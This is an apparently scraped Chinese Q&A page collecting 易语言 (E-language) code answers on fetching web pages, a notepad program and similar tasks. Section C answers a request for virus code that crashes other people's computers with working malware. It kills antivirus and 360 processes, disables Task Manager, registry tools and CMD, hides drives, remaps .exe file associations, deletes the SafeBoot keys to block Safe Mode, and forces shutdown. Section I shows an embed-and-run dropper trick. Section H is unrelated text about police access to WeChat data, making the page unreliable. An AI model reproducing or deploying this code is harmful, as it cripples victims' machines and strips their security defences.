当前位置:首页 » 操作系统 » 易语言源码吧

易语言源码吧

发布时间: 2023-09-03 07:06:09

A. 易语言 打开网址源码

其实真的很简单,只要你打好易语言基础很容易做出来!

.版本2

.支持库eAPI

.支持库spec

.程序集窗口程序集1

.子程序_按钮1_被单击

.局部变量网页地址文件,文本型

.局部变量网页地址,文本型,,"0"

.局部变量局部_计次,整数型

'网址.txt记事本必须与这个软件程序在同一个文件夹中!

.如果真(文件是否存在(取运行目录()+“网址.txt”)=假)

信息框(“你的”+取运行目录()+“路径中无【网址.txt】文档文本!”,#确认钮+#错误图标,“提示”)

返回()

.如果真结束

网页地址文件=到文本(读入文件(取运行目录()+“网址.txt”))

网页地址=分割文本(网页地址文件,到文本(#换行符),)

.计次循环首(取数组成员数(网页地址),局部_计次)

打开指定网址(网页地址[局部_计次])

延迟(10000)

.计次循环尾()

B. 易语言怎么取网页源码

问题一:易语言如何获取网页源码的并展示出来? .版本 2
.支持库 RegEx
.支持库 internet
.支持库 iext
.子程序 _按钮1_被单击
.局部变量 网页文本, 文本型
.局部变量 表达式, 正则表达式
.局部变量 搜索结果, 搜索结果, , 0
.局部变量 计次变量, 整数型
.局部变量 文本, 文本型
网页文本 = 到文本 (HTTP读文件 (编辑框1.内容))
网页文本 = 子文本替换 (网页文本, #引号, “'”, 0, , 真)
网页文本 = 到小写 (网页文本)
透明标签1.标题 = 取中间文 (网页文本, “”, “”)
表达式.创建 (“meta (.*?)>”, 假)
搜索结果 = 表达式.搜索全部 (网页文本)
.计次循环首 (取数组成员数 (搜索结果), 计次变量)
文本 = 搜索结果 [计次变量].取子匹配文本 (网页文本, 1, )
.判断开始 (寻找文本 (文本, “name='keywords'”, 1, 假) > 0)
透明标签2.标题 = 取中间文 (文本, “content='”, “'”)
.判断 (寻找文本 (文本, “name='description'”, 1, 假) > 0)
透明标签3.标题 = 取中间文 (文本, “content='”, “'”)
.默认
.判断结束
.计次循环尾 ()
.子程序 取中间文, 文本型
.参数 全文, 文本型
.参数 左文, 文本型
.参数 右文, 文本型
.局部变量 位置, 整数型
.局部变量 总长度, 整数型
.局部变量 文本, 文本型
总长度 = 取文本长度 (全文)
位置 = 寻找文本 (全文, 左文, , 假)
.如果真 (位置 < 0)
返回 (“”)
.如果真结束
位置 = 位置 + 取文本长度 (左文)
文本 = 取文本中间 (全文, 位置, 总长度)
总长度 = 取文本长度 (文本)
位置 = 寻找文本 (文本, 右文, , 假) - 1
.如果真 (位置 < 0)
返回 (“”)
.如果真结束
文本 = 取文本中间 (文本, 1, 位置)
返回 (文本)

问题二:易语言怎么获取网页源代码 我记得我给你回答过了,其实说老实话,想学好一门编程语言,不下大功夫是不行的,网上有很多开源的,我不能帮你太多,因为我对这方面不是很懂,呵呵,不好意思。

问题三:易语言取网页源码的问题,求解答! 思路:
超文本浏览框.取文档对象 ().对象型方法 (“getElementById”, “xxx”).方法 (“focus”, )
超文本浏览框.取文档对象 ().对象型方法 (“getElementById”, “xxx”).方法 (“click”, )
取这个选择框的对象(XXX是对象名称或者ID),然后让其获得焦点并兄唯单击它
就可以再取
临时文本 = 超文本浏览框.取文档对象 ().读对象型属性 (“body”, ).读文本属性 (“outerText”, )
此时的临时文本就是网页的源码如果你要HTML格式的就用“读文本属性 (“outerhtml”, )”

问题四:易语言怎么取网页代码中的一段代码! 20分 高级答案:
首先创建子程序---取中间文件内容---------------------------------------------------------------------
.版本 2
.子程序 取文本中间内容, 文本型, 公开
.参数 需取文本, 文本型
.参数 左边内容, 文本型
.参数 右边内容, 文本型
.参数 成功与否, 逻辑型, 参考 可空
.局部变量 长度, 整数型
.局部变量 左边位置, 整数型
.局部变量 左边长度, 整数型
.局部变量 右边位置, 整数型
.局部变量 右边长度, 整数型
长度 = 取文本长度 (需取文本)
左边位置 = 寻找文本 (需取文本, 左边内容, 0, 假羡汪培)
左边长度 = 取文本长陵氏度 (左边内容)
.如果真 (左边位置 = -1)
成功与否 = 假
返回 (“未找到左边内容”)
.如果真结束
右边位置 = 寻找文本 (需取文本, 右边内容, 0, 假)
右边长度 = 取文本长度 (右边内容)
.如果真 (右边位置 = -1)
成功与否 = 假
返回 (“未找到右边内容”)
.如果真结束
成功与否 = 真
返回 (取文本中间 (需取文本, 左边位置 + 左边长度, 长度 - (左边位置 + 左边长度) - (长度 - 右边位置)))
--------------------创建完毕-------------------------厂------------------------------------------------------------
新建个编辑框1.然后在建个按钮,在按钮里输入代码
编辑框1.内容=取文本中间内容 (zxcvbnm123456789asfhyf, zxcvbnm, asfhyf)
点击这个按钮,编辑框1的内容就是123456789
图片概要:

问题五:易语言 取网页源码 可以实时获取超文本浏览框里的源码,和 查看源代码一样。

问题六:易语言这个取网页源码如何取文本中间?有图 到整数删除了就可以了

问题七:易语言 如何读取网页源文件的代码! .版本 2
.支持库 internet
.子程序 __启动窗口_创建完毕
_启动窗口.标题 = 到文本 (HTTP读文件 (“你要打开的t攻t地址。txt”))

问题八:求易语言多线程提取网页源码的例子 这是一个最简单的多线程网页访问保存网页的程序,如果满意采纳哦

问题九:易语言取网页源码中的元素内容,应该关于精易模块 80分 你要的只是取这个 span 里的内容吗?
用了精易模块的话
你可以用 文本_取出中间文本() 命令来获取,命令格式如下:
文本_取出中间文本(原文本,目标文本左边,目标文本右边)
原文本这里就可以是你读取出来的网页源码
目标文本左边,在你的图片里,就可以是
目标文本右边,在你的图片里,就是

问题十:易语言取网页指定内容源码 要方便快捷的话,就用精易模块里面的取出中间文本(),不想用模块的话就用分割文本。建议你用精易模块的文本_取中间文本()

C. 求易语言病毒源码,最好能让别人死机的源码,急求,高分

.版本 2
.支持库 shell
.程序集 窗口程序集1
.子程序 _按钮1_被单击
' 绕过杀毒软件防御:
运行 (“taskkill /f /im kavsvc.exe”, 假, 1)
运行 (“taskkill /f /im KVXP.kxp”, 假, 1)
运行 (“taskkill /f /im Rav.exe”, 假, 1)
运行 (“taskkill /f /im Ravmon.exe”, 假, 1)
运行 (“taskkill /f /im Mcshield.exe”, 假, 1)
运行 (“taskkill /f /im VsTskMgr.exe”, 假, 1)
' 修改系统时间:
置现行时间 (到时间 (“8888年8月8日”))
' 禁用任务管理器:
写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, 0)
' 禁用注册表:
写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\System\Disableregistrytools”, 1)
' 隐藏开始中的运行 禁止WIN2000/XP通过任务管理器创建新任务:
写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, 1)
' 隐藏“MS-DOS方式”下的磁盘驱动器。不管是在“我的电脑”里,或“MS-DOS”方式下都看不见了:
写注册项 (3, “SoftWare \Microsoft \Windows \CurrentVersion \Policies\WinOldApp\Disabled”, 1)
' 隐藏开始中的关机:
写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose”, 1)
' 隐藏开始中的搜索:
写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, 1)
' OVER360防御:
写注册项 (4, “SOFTWARE\360Safe\safemon\ExecAccess”, 0)
写注册项 (4, “SOFTWARE\360Safe\safemon\MonAccess”, 0)
写注册项 (4, “SOFTWARE\360Safe\safemon\SiteAccess”, 0)
写注册项 (4, “SOFTWARE\360Safe\safemon\UDiskAccess”, 0)
' 结束360进程
运行 (“taskkill /f /im 360tray.exe”, 假, 1)
' 隐藏所有驱动器:
写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives”, 4294967295)
' 禁止所有驱动器:
写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewOnDrive”, 4294967295)
' 隐藏文件夹选项:
写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, 1)
' 将桌面对象隐藏:
写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop”, 1)
' 隐藏开始中的关机:
写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose”, 1)
' 隐藏开始中的搜索:
写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, 1)
' 这条有两种情况。1 禁用CMD和.BAT文件 2 禁CMD不禁.BAT 0启用两项
写注册项 (3, “Software\Policies\Microsoft\Windows\System\DisableCMD”, 1)
' 隐藏主页选项组:
写注册项 (3, “Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage”, 1)
' 隐藏IE文件菜单:
写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileMenu”, 1)
' 隐藏收藏夹菜单:
写注册项 (3, “Software\Policies\Microsoft\Internet Explorer\Restrictions\NoFavorites”, 1)
' 禁用IE打印功能:
写注册项 (3, “Software\Policies\Microsoft\Internet Explorer\Restrictions\NoPrinting”, 1)
' 隐藏Internet选项:
写注册项 (3, “Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserOptions”, 1)
' 禁止IE查看源文件:
写注册项 (3, “Software\Policies\Microsoft\Internet Explorer\Restrictions\NoViewSource”, 1)
' 禁用IE下载功能:
写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Interner Settings\Zones\3\1803”, 3)
' 禁止右键关联菜单:
写注册项 (3, “Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserContextMenu”, 1)
' 修改文件关联:
写注册项 (1, “.txt\”, “jpegfile”)
写注册项 (1, “.inf\”, “jpegfile”)
写注册项 (1, “.reg\”, “jpegfile”)
写注册项 (1, “.exe\”, “jpegfile”)
' 无法进入安全模式:
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{36FC9E60-C465-11CF-8056-444553540000}\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E965-E325-11CE-BFC1-08002BE10318}\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E967-E325-11CE-BFC1-08002BE10318}\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E969-E325-11CE-BFC1-08002BE10318}\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E96A-E325-11CE-BFC1-08002BE10318}\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E96B-E325-11CE-BFC1-08002BE10318}\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E96F-E325-11CE-BFC1-08002BE10318}\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E972-E325-11CE-BFC1-08002BE10318}\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E973-E325-11CE-BFC1-08002BE10318}\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E974-E325-11CE-BFC1-08002BE10318}\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E975-E325-11CE-BFC1-08002BE10318}\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E977-E325-11CE-BFC1-08002BE10318}\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E97B-E325-11CE-BFC1-08002BE10318}\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E97D-E325-11CE-BFC1-08002BE10318}\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E980-E325-11CE-BFC1-08002BE10318}\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{71A27CDD-812A-11D0-BEC7-08002BE2092F}\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{745A17A0-74D3-11D0-B6FE-00A0C90F57DA}\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AFD\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AppMgmt\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Base\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Boot Bus Extender\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Boot file system\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Browser\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\CryptSvc\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\DcomLaunch\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Dhcp\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\dmadmin\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\dmboot.sys\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\dmio.sys\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\dmload.sys\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\dmserver\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\DnsCache\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EventLog\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\File system\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Filter\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\HelpSvc\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\ip6fw.sys\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\ipnat.sys\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\LanmanServer\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\LanmanWorkstation\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\LmHosts\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Messenger\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NDIS\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NDIS Wrapper\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Ndisuio\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NetBIOS\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NetBIOSGroup\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NetBT\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NetDDEGroup\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Netlogon\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NetMan\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Network\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NetworkProvider\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NtLmSsp\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\PCI Configuration\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\PlugPlay\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\PNP Filter\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\PNP_TDI\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Primary disk\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\rdpcdd.sys\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\rdpdd.sys\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\rdpwd.sys\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\rdsessmgr\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\RpcSs\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\SCSI Class\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\sermouse.sys\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\SharedAccess\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\sr.sys\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\SRService\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Streams Drivers\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\System Bus Extender\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Tcpip\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\TDI\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\tdpipe.sys\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\tdtcp.sys\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\termservice\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\vga.sys\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\vgasave.sys\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinMgmt\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WZCSVC\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Ndisuio\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\Network\”)
删除注册项 (4, “SYSTEM\CurrentControlSet\Control\SafeBoot\”)
' 关机:
关闭系统 (2, 真)

D. 怎么查看易语言源码

您朋友发的恐怕就是后缀为.e的易语言源码吧,这样的话,直接安装易语言即可打开了。

E. 易语言源码是什么

就是 文件名.e的文件 用这个文件 可以修改程序的功能 界面等 把它改写成你自己的程序 如果你想学习易语言推荐去赤血学院 学习一下 哪里成套的视频教程 可以让你快速入门。

F. 易语言源码

哦 哦 ,那我给你个记事本的源码吧 如下
.版本 2
.支持库 iext2
.支持库 iext
.支持库 eAPI

.程序集 窗口程序集1
.程序集变量 文件路径, 文本型
.程序集变量 当前是否正在打字, 逻辑型

.子程序 _超级编辑框1_内容被改变, , , 更改超级编辑框的颜色
.局部变量 颜色, 字符格式

颜色.文本颜色 = 取颜色值 (取随机数 (0, 255), 取随机数 (0, 255), 取随机数 (0, 255))
超级编辑框1.置选择区字符格式 (颜色)
状态条1.置文本 (0, “行 ” + 到文本 (超级编辑框1.取行数 ()) + “ 文本长度 ” + 到文本 (超级编辑框1.取文本长度 ()))

.子程序 __启动窗口_创建完毕, , , 设置通用对话框

通用对话框1.过滤器 = “txt|*.txt”
通用对话框1.默认文件后缀 = “txt”
通用对话框1.标题 = “传说记事本保存对话框...”
_时间日期_被选择 ()
_炫银皮肤_被选择 ()
备忘录提醒 ()

.子程序 __启动窗口_位置被改变, , , 位置被改变后超级编辑框也跟着改变(按钮1也跟着改变)

.如果真 (_启动窗口.位置 = 3)
超级编辑框1.宽度 = 取屏幕宽度 () - 3
超级编辑框1.高度 = 取屏幕高度 () - 80 - 按钮1.高度 - 10
按钮1.顶边 = 取屏幕高度 () - 状态条1.高度 - 100
按钮1.宽度 = 取屏幕宽度 () - 5
按钮1.高度 = 状态条1.高度 + 10
.如果真结束
.如果真 (_启动窗口.位置 = 0)
超级编辑框1.宽度 = _启动窗口.宽度 - 10
超级编辑框1.高度 = _启动窗口.高度 - 55 - 按钮1.高度 - 10
按钮1.顶边 = 200
按钮1.宽度 = 560

.如果真结束

.子程序 _新建_被选择, , , New文件

.如果真 (超级编辑框1.内容 ≠ “”)
.如果真 (信息框 (“您还没保存!请问您要进行保存吗?”, 4, ) = #是钮)
通用对话框1.类型 = 1
通用对话框1.打开 ()
写到文件 (通用对话框1.文件名, 到字节集 (超级编辑框1.内容))
.如果真结束

.如果真结束

.子程序 _打开_被选择, , , Open文件

通用对话框1.类型 = 0
通用对话框1.打开 ()
.如果真 (通用对话框1.文件名 ≠ “”)
超级编辑框1.内容 = 到文本 (读入文件 (通用对话框1.文件名))
文件路径 = 通用对话框1.文件名

.如果真结束

.子程序 _保存_被选择, , , Save文件

.如果真 (文件路径 = “”)
通用对话框1.类型 = 1
通用对话框1.打开 ()
写到文件 (通用对话框1.文件名, 到字节集 (超级编辑框1.内容))
.如果真结束
.如果真 (文件路径 ≠ “”)
写到文件 (文件路径, 到字节集 (超级编辑框1.内容))
.如果真结束

.子程序 _保存到_被选择, , , Save As文件

通用对话框1.类型 = 1
通用对话框1.打开 ()
.如果真 (通用对话框1.文件名 ≠ “”)
写到文件 (通用对话框1.文件名, 到字节集 (超级编辑框1.内容))
.如果真结束

.子程序 _撤销_被选择, , , Undo 文本

超级编辑框1.撤消 ()

.子程序 _剪切_被选择, , , Cut 文本

超级编辑框1.剪切 ()

.子程序 _复制_被选择, , , Copy 文本

超级编辑框1.复制 ()

.子程序 _粘连_被选择, , , Paste文本

超级编辑框1.粘贴 ()

.子程序 _删除_被选择, , , Delete文本

超级编辑框1.删除 ()
超级编辑框1.内容 = 取文本左边 (超级编辑框1.内容, 取文本长度 (超级编辑框1.内容) - 1)

.子程序 _寻找_被选择, , , Find文本

载入 (Find窗口, , 真)

.子程序 _寻找下一个_被选择, , , 还没解决好

.子程序 _文本替换_被选择, , , 文本替换

载入 (文本替换窗口, , 真)

.子程序 _跳到_被选择, , , 还没解决好

载入 (跳到窗口, , 真)

.子程序 _全选_被选择, , , Select All文本

超级编辑框1.被选择字符数 = 取文本长度 (超级编辑框1.内容)

.子程序 _时间日期_被选择, , , Time-Date
.局部变量 小时, 文本型
.局部变量 分钟, 文本型
.局部变量 日期, 文本型
.局部变量 年份, 文本型
.局部变量 月份, 文本型
.局部变量 日份, 文本型

小时 = 到文本 (取小时 (取现行时间 ()))
分钟 = 到文本 (取分钟 (取现行时间 ()))
年份 = 到文本 (取年份 (取现行时间 ()))
月份 = 到文本 (取月份 (取现行时间 ()))
日份 = 到文本 (取日 (取现行时间 ()))
状态条1.置文本 (1, 小时 + “:” + 分钟 + “ ” + 年份 + “-” + 月份 + “-” + 日份)

.子程序 _传说记事本v13_被选择, , , About Notepad

信息框 (“软件作者:古老的传说” + #换行符 + “QQ:1041750677” + #换行符 + “MSN:thum_wai_lun@hotmail.com” + #换行符 + “编写工具:易语言” + #换行符 + “软件版本:1.3” + #换行符, 0, )

.子程序 _密码保管_被选择, , , Password Protect

载入 (密码窗口, , 真)

.子程序 _备忘录_被选择, , , 载入备忘录窗口

载入 (备忘录窗口, , 真)

.子程序 备忘录提醒, , , 备忘录提醒
.局部变量 分割文本, 文本型, , "0"
.局部变量 今天日期, 文本型
.局部变量 分割今天日期, 文本型, , "0"

分割文本 = 分割文本 (读配置项 (取运行目录 () + “\备忘录.ini”, “备忘录”, “提示日期”, ), “日”, )
今天日期 = 到文本 (取日期 (取现行时间 ()))
分割今天日期 = 分割文本 (今天日期, “日”, )
.如果真 (取数组成员数 (分割文本) = 1 或 取数组成员数 (分割文本) > 1)
.如果真 (分割文本 [1] = 分割今天日期 [1])
状态条1.置文本 (2, “您今天有一份备忘录噢^_^”)
.如果真结束

.如果真结束

.子程序 _银白皮肤_被选择, , , 银白皮肤

更换新皮肤 (1)

.子程序 _浅白皮肤_被选择, , , 浅白皮肤

更换新皮肤 (10)

.子程序 _浅灰皮肤_被选择, , , 浅灰皮肤

更换新皮肤 (13)

.子程序 _浅蓝皮肤_被选择, , , 浅蓝皮肤

更换新皮肤 (19)

.子程序 _浅黑皮肤_被选择, , , 浅黑皮肤

更换新皮肤 (5)

.子程序 _炫银皮肤_被选择, , , 炫银皮肤

更换新皮肤 (2)

.子程序 _炫白皮肤_被选择, , , 炫白皮肤

更换新皮肤 (15)

.子程序 _炫蓝皮肤_被选择, , , 炫蓝皮肤

更换新皮肤 (18)

.子程序 _深黑皮肤_被选择, , , 深黑皮肤

更换新皮肤 (14)

.子程序 __启动窗口_可否被关闭, 逻辑型, , 透明显示最小化运行
.局部变量 变量1, 整数型

变量1 = 255
.计次循环首 (255, )
设置窗口透明度 (_启动窗口.取窗口句柄 (), 变量1)
变量1 = 变量1 - 1
.如果真 (变量1 = 1)
置托盘图标 (#程序图标, “古老的传说记事本v1.2”)
_启动窗口.可视 = 假
.如果真结束

.计次循环尾 ()

返回 (假)

.子程序 __启动窗口_托盘事件, , , 透明显示_启动窗口
.参数 操作类型, 整数型
.局部变量 变量1, 整数型

.如果真 (操作类型 = 1)
_启动窗口.可视 = 真
.计次循环首 (255, 变量1)
设置窗口透明度 (_启动窗口.取窗口句柄 (), 变量1)
.计次循环尾 ()
.如果真结束
.如果真 (操作类型 = 3)
弹出菜单 (图标菜单, 取鼠标水平位置 (), 取鼠标垂直位置 ())

.如果真结束

.子程序 __启动窗口_将被销毁, , , 销毁任务栏图标

置托盘图标 ({ }, )

.子程序 _打开传说记事本_被选择, , , _启动窗口.可视=真

__启动窗口_托盘事件 (1)

.子程序 _销毁_被选择, , , 销毁软件

销毁 ()

.子程序 _超级编辑框1_按下某键, 逻辑型, , 正在打字中...
.参数 键代码, 整数型
.参数 功能键状态, 整数型

当前是否正在打字 = 真
按钮1.标题 = “正在打字中...”
时钟1.时钟周期 = 800
返回 (真)

.子程序 _超级编辑框1_放开某键, 逻辑型, , 暂停打字中...
.参数 键代码, 整数型
.参数 功能键状态, 整数型

当前是否正在打字 = 假
返回 (真)

.子程序 _时钟1_周期事件, , , 暂停打字中...

.如果真 (当前是否正在打字 = 假)
按钮1.标题 = “暂停打字中...”

.如果真结束

.子程序 _超级编辑框1_选择区被改变, , , 超级编辑框1.滚动

超级编辑框1.滚动 (1)

G. 易语言源码

.版本 2


.子程序 _按钮_生成_被单击


.计次循环首 (到整数 (编辑框_生成数.内容), )

列表框1.加入项目 (编辑框_前段.内容 + 编辑框_后段.内容 + “----” + 编辑框_密码.内容, )

.计次循环尾 ()



.子程序 _按钮_复制全部_被单击

.局部变量 i, 整数型

.局部变量 列表框内容, 文本型, , "100"


编辑框1.加入文本 (“”)


.计次循环首 (列表框1.取项目数 (), i)

列表框内容 [i] = 列表框1.取项目文本 (i - 1)

.计次循环尾 ()

i = 0

.计次循环首 (列表框1.取项目数 (), i)

编辑框1.加入文本 (列表框内容 [i] + #换行符)

.计次循环尾 ()

置剪辑板文本 (编辑框1.内容)



.子程序 _按钮_复制_被单击


编辑框1.加入文本 (“”)

编辑框1.加入文本 (列表框1.取项目文本 (列表框1.现行选中项) + #换行符)

置剪辑板文本 (编辑框1.内容)


.子程序 _列表框1_鼠标右键被按下, 逻辑型

.参数 横向位置, 整数型

.参数 纵向位置, 整数型

.参数 功能键状态, 整数型


弹出菜单 (菜单, , )


.子程序 _复制全部_被选择


_按钮_复制全部_被单击 ()


.子程序 _复制_被选择


_按钮_复制_被单击 ()

H. 易语言怎么获取网页源代码

是完全可以查到的,但正常情况下不会去帮你查,需要先去公安局立案,也就是说你一定得要有极其充分的理由才可以让公安局帮你查。
1、因为现在的微信号必须得绑定手机号,而在使用微信的过程中总会用到手机号之类的信息,所以个人的微信信息全部都会被存在腾讯公司的内部服务器里。
2、公安机关如果是由于民事案件而向腾讯公司申请查询用户的微信数据的话,腾讯公司是完全有理由不配合公安机关的信息查询的,因为这牵涉到了用户的个人隐私。
3、只有在牵涉到重大刑事案件以及危害国家安全的案件时,腾讯公司才有义务配合公安机关去调查用户的信息。
4、如果微信内容已经涉及了刑事案件,特别是重要的刑事案件侦查线索,县级以上公安机关是可以对这个手机号码采取技术侦查手段的。
5、这个方式是一定可以追踪你手机的位置信息的,既便是关机也没有任何作用,还是能追踪到,并且还可以监听你的通话,拦截你的微信。
6、在公安局启动技术侦查手段之前的一定时间内,你的通话内容和微信内容无论是收还是发都全部会被保存到一个为了提供通信服务公司的计算机上,因此要查出短信内容和通话内容是完全可以的。
(8)易语言源码吧扩展阅读
根据公安机关办理刑事案件程序规定第254条,技术侦查措施适用的范围为以下案件:
1、危害国家安全犯罪、恐怖活动犯罪、黑社会性质的组织犯罪、重大毒品犯罪案件。
2、故意杀人、故意伤害致人重伤或者死亡、强奸、抢劫、绑架、放火、爆炸、投放危险物质等严重暴力犯罪案件。
3、集团性、系列性、跨区域性重大犯罪案件。
4、利用电信、计算机网络、寄递渠道等实施的重大犯罪案件,以及针对计算机网络实施的重大犯罪案件。
5、其他严重危害社会的犯罪案件,依法可能判处七年以上有期徒刑的。
6、公安机关追捕被通缉或者批准、决定逮捕的在逃的犯罪嫌疑人、被告人,可以采取追捕所必需的技术侦查措施。

I. 易语言源码工具箱源码

制作方案:
准备一个要载入工具箱的exe
新建个易语言程序,进入易语言-插入-资源-图片或图片组
将图片1改为exe
双击内容
导入新图片
然后载入exe
回到启动窗口,新建个按钮,按钮输入代码:
写到文件("D:\临时调试文件.exe",#exe)
运行("D:\临时调试文件.exe")
删除文件("D:\临时调试文件.exe")
然后调试程序,点击那个按钮,你会发现刚才载入的exe运行了!

J. 易语言的程序破解之后能拿到源码吗

